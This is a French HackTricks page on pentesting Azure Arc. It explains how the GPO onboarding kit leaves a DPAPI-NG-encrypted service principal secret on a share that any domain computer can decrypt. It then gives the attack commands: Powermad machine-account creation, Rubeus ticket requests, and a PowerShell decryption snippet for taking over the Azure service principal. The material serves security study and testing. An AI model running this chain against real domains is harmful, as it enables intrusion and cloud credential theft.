Az - Arc vulnerable GPO Deploy Script

Soutenez HackTricks

Identification des problèmes

Azure Arc permet l'intégration de nouveaux serveurs internes (serveurs rejoignant un domaine) dans Azure Arc en utilisant la méthode de l'objet de stratégie de groupe. Pour faciliter cela, Microsoft fournit une trousse de déploiement nécessaire pour initier la procédure d'intégration. À l'intérieur du fichier ArcEnableServerGroupPolicy.zip, les scripts suivants peuvent être trouvés : DeployGPO.ps1, EnableAzureArc.ps1 et AzureArcDeployment.psm1.

Lorsqu'il est exécuté, le script DeployGPO.ps1 effectue les actions suivantes :

  1. Crée la GPO d'intégration des serveurs Azure Arc dans le domaine local.

  2. Copie le script d'intégration EnableAzureArc.ps1 vers le partage réseau désigné créé pour le processus d'intégration, qui contient également le package d'installation Windows.

Lors de l'exécution de ce script, les administrateurs système doivent fournir deux paramètres principaux : ServicePrincipalId et ServicePrincipalClientSecret. De plus, il nécessite d'autres paramètres tels que le domaine, le FQDN du serveur hébergeant le partage, et le nom du partage. Des détails supplémentaires tels que l'ID du locataire, le groupe de ressources et d'autres informations nécessaires doivent également être fournis au script.

Un secret chiffré est généré dans le répertoire AzureArcDeploy sur le partage spécifié en utilisant le chiffrement DPAPI-NG. Le secret chiffré est stocké dans un fichier nommé encryptedServicePrincipalSecret. La preuve de ceci peut être trouvée dans le script DeployGPO.ps1, où le chiffrement est effectué en appelant ProtectBase64 avec $descriptor et $ServicePrincipalSecret comme entrées. Le descripteur se compose des SID des groupes Domain Computer et Domain Controller, garantissant que le ServicePrincipalSecret ne peut être déchiffré que par les groupes de sécurité Domain Controllers et Domain Computers, comme indiqué dans les commentaires du script.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Exploitation

Nous avons les conditions suivantes :

  1. Nous avons réussi à pénétrer dans le réseau interne.

  2. Nous avons la capacité de créer ou de prendre le contrôle d'un compte d'ordinateur au sein de l'Active Directory.

  3. Nous avons découvert un partage réseau contenant le répertoire AzureArcDeploy.

Il existe plusieurs méthodes pour obtenir un compte machine au sein d'un environnement AD. L'une des plus courantes est d'exploiter le quota de compte machine. Une autre méthode consiste à compromettre un compte machine via des ACL vulnérables ou diverses autres mauvaises configurations.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

Une fois qu'un compte machine est obtenu, il est possible de s'authentifier en utilisant ce compte. Nous pouvons soit utiliser la commande runas.exe avec le drapeau netonly, soit utiliser pass-the-ticket avec Rubeus.exe.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

En ayant le TGT pour le compte de notre ordinateur stocké en mémoire, nous pouvons utiliser le script suivant pour décrypter le secret du principal de service.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

Alternativement, nous pouvons utiliser SecretManagement.DpapiNG.

À ce stade, nous pouvons recueillir les informations restantes nécessaires pour se connecter à Azure à partir du fichier ArcInfo.json, qui est stocké sur le même partage réseau que le fichier encryptedServicePrincipalSecret. Ce fichier contient des détails tels que : TenantId, servicePrincipalClientId, ResourceGroup, et plus encore. Avec ces informations, nous pouvons utiliser Azure CLI pour nous authentifier en tant que principal de service compromis.

Références

Last updated